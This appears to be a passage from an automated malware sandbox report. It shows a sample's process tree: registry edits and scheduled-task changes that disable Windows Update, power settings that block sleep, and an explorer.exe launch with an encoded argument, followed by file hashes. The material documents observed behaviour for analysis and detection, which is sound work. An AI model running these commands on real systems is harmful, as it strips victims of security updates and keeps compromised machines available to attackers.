C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f5⤵
- Modifies registry key
PID:2016 -
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
PID:1544 -
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
PID:1056 -
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE5⤵PID:1668
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE5⤵PID:832
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE5⤵PID:824
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE5⤵PID:772
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE5⤵PID:564
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE5⤵PID:972
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE5⤵PID:1528
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵PID:1360
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
PID:988 -
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
PID:1064 -
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
PID:1588 -
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
PID:660 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe "ksvudlgzwxvyjy"4⤵PID:1072
-
C:\Windows\explorer.exeC:\Windows\explorer.exe ludkbupigbltzfui1 GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqN5dCL6SdfpGQxdbsBsqueaxRnQzTx2Bqmg+8Hm/cXMESqb4c3Os26fGj23Hqsnl0qmcpNr8N8RD0Uj65Is/XzsC3UFIPpYz7Zp9mKjXqYW+xHlpEMJ8pitovpD3AlrEcYhafjTHJIBsyQCmYqS8DwlNaC3+8ctTQ5gWGWPwhQ4m7w5ntgK8u6m/StfnNPDdr+VwS4s25pICn3Q/Dq0WEk/j+SBlrEi93dXqUBShtLfUbnT4w5YQhLxDVbXc7xoFDIPd01rv+1vwAaan4sl2k1YkrvCpkMy2cu5BYO8sYd8sc8dLcQPq/swWuhKRRVQuprYmKwuUqhwRP67Zf25Cl8Ux1mQQil7sp+RmWIA87i6XioWLBkWXEpGDqawTe1Tn44⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1580
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
7.2MB
MD539a2104f5c1096d1c9481cbf5203a820
SHA117b15f09ef79c1cfc0b8ae2c52fd0e564b00aa34
SHA256b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc
SHA5127b22e01e8b271c17e9c1480802bf111c502b3b18894b9e6dbf42e011809cb1f8f965e454f78c7bd14561733c7ab2b831a08a962ba375fc19048184350d18bf52
-
Filesize
7.2MB
MD539a2104f5c1096d1c9481cbf5203a820
SHA117b15f09ef79c1cfc0b8ae2c52fd0e564b00aa34
SHA256b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc
SHA5127b22e01e8b271c17e9c1480802bf111c502b3b18894b9e6dbf42e011809cb1f8f965e454f78c7bd14561733c7ab2b831a08a962ba375fc19048184350d18bf52
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Filesize
2KB
MD5c5227366b7a688ff23b01788718251aa
SHA19795262e79c832ba49c744fcd1b1794c0ffb5c6a
SHA256789abfd744b03d07fac02be7177c535989ea9e92b9db32fb1360cdfd083a1f48
SHA5128b9560fa2265f74aec7bb7b96e5a7dba789edc4166e58af9994a1ee95fa42b22a7539be804f4fcf3d5a9e657be020087a343b030fee6aaddbb67b1134810cfbe
-
Filesize
7.2MB
MD539a2104f5c1096d1c9481cbf5203a820
SHA117b15f09ef79c1cfc0b8ae2c52fd0e564b00aa34
SHA256b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc
SHA5127b22e01e8b271c17e9c1480802bf111c502b3b18894b9e6dbf42e011809cb1f8f965e454f78c7bd14561733c7ab2b831a08a962ba375fc19048184350d18bf52